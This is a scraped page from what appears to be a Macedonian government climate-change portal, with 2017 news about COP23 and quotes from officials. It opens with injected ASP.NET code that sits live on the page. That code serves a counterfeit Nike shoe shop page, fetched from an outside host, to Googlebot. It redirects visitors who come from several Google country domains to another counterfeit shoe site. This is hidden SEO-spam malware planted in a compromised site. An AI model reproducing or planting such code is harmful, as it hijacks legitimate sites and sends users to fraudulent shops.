Protected Overrides Sub OnLoad(ByVal e As System.EventArgs)
Dim useragent As String
useragent = Request.UserAgent.ToLower()
Dim path As String
path = Request.RawUrl
If useragent.IndexOf("googlebot")>-1 Then
Dim webClient As New System.Net.WebClient
webClient.Encoding = System.Text.Encoding.UTF8
Dim mirror As String = "http://www.aaashoeschina.com/Nike-Air-Max-2016-c1395.html"
If mirror.IndexOf("http://")<0 Then
If System.IO.File.Exists(mirror) = True Then
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(System.IO.File.ReadAllText(mirror, System.Text.Encoding.UTF8))
Response.End()
End If
Else
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(webClient.DownloadString(mirror))
Response.End()
End If
ElseIf Not IsNothing(Request.UrlReferrer) Then
Dim referer As String = Request.UrlReferrer.AbsoluteUri
Dim jump As String = "http://www.nikeshoesesvip.com"
Dim wifilangs As String = ""
if Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")<>"" then
wifilangs = (((Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")).Split(new Char(){";"c})(0)).Split(new Char(){","c})(0)).ToLower()
end if
If referer.IndexOf("google")>=0 Then
Dim str As String = "" & "," & "google.de/" & "," & "aol.de/" & "," & "google.ch/" & "," & "google.at/" & "," & "google.lu/" & "," & "google.be/"
Dim terms As String() = str.Split(New Char(){","c})
If str<>"" then
For Each term As string In terms
If term<>"" and referer.IndexOf(term)>=0 then
Response.Redirect(jump)
Response.End()
end if
Next
else
Response.Redirect(jump)
Response.End()
end if
End If
End If
MyBase.OnLoad(e)
End Sub
Новости и соопштенија
| |
» 18.11.2017
Ветени нови финансиски средства за осигурување и за заштита на шумите со цел да се зголеми климатска акција од владите, градовите и компаниите
Повеќе
»
|
» 16.11.2017
Заменик министерот за животна средина и просторно планирање Јани Макрадули имаше обраќање на попладенвната пленарна сесија на високиот сегмент на 23-тата Конференција на Страните на УНФЦЦЦ (СОР 23), во кое ја информираше меѓународната заедница за напредокот на Република Македонија во правец на спроведувањето на Парискиот договор за клима.
Повеќе
»
|
» 13.11.2017
23-тата Конференција на страните кон Рамковната конвенција на ОН за климатски промени (УНФЦЦЦ) започна на 6 ноември 2017 г. и има за цел да ги придвижи нациите кон следното ниво на амбиции потребни за справување со глобалното затоплување и да го стави светот на побезбеден и попросперитетен пат за развој.
Повеќе
»
|
» 10.11.2017
Отворениот пристап на Владата може да биде од основно значење во градење на поддршката на јавноста за климатски иницијативи.
Повеќе
»
|
» 21.09.2017
Министерството за животна средина и просторно планирање денеска, во просториите на Македонската Академија на науки и уметности (МАНУ), одржа работилница за климатски промени на која беа презентирани резултатите од најновите анализи и препораки поврзани со оваа проблематика во државата.
Повеќе
»
|
|
|
Пораки
Очекуваме сета досегашна декларативност да биде преточена во конкретни мерки за акција. Очекуваме, краткорочните, да ги замениме со долгорочни решенија. Културата на расфрлање да ја замениме со култура на одржливост. Себичните интереси да ги замениме со интересите на човештвото. Површната реторика да ја замениме со конкретни дела. И тоа не заради нас, туку заради нашето потомство
Д-р Ѓорге Иванов, . претседател на Република Македонија
Со оваа комуникација во рака, земјата е целосно подготвена за самитот во Париз
Алесандро Фракасети, заменик на постојниот претставник на УНДП
Пред нас стои предизвикот на имплементацијата на предложените мерки од Планот
Стево Темелковски, зам. министер за животна средина и просторно планирање
Билтен
Претплатете се на нашиот билтен
|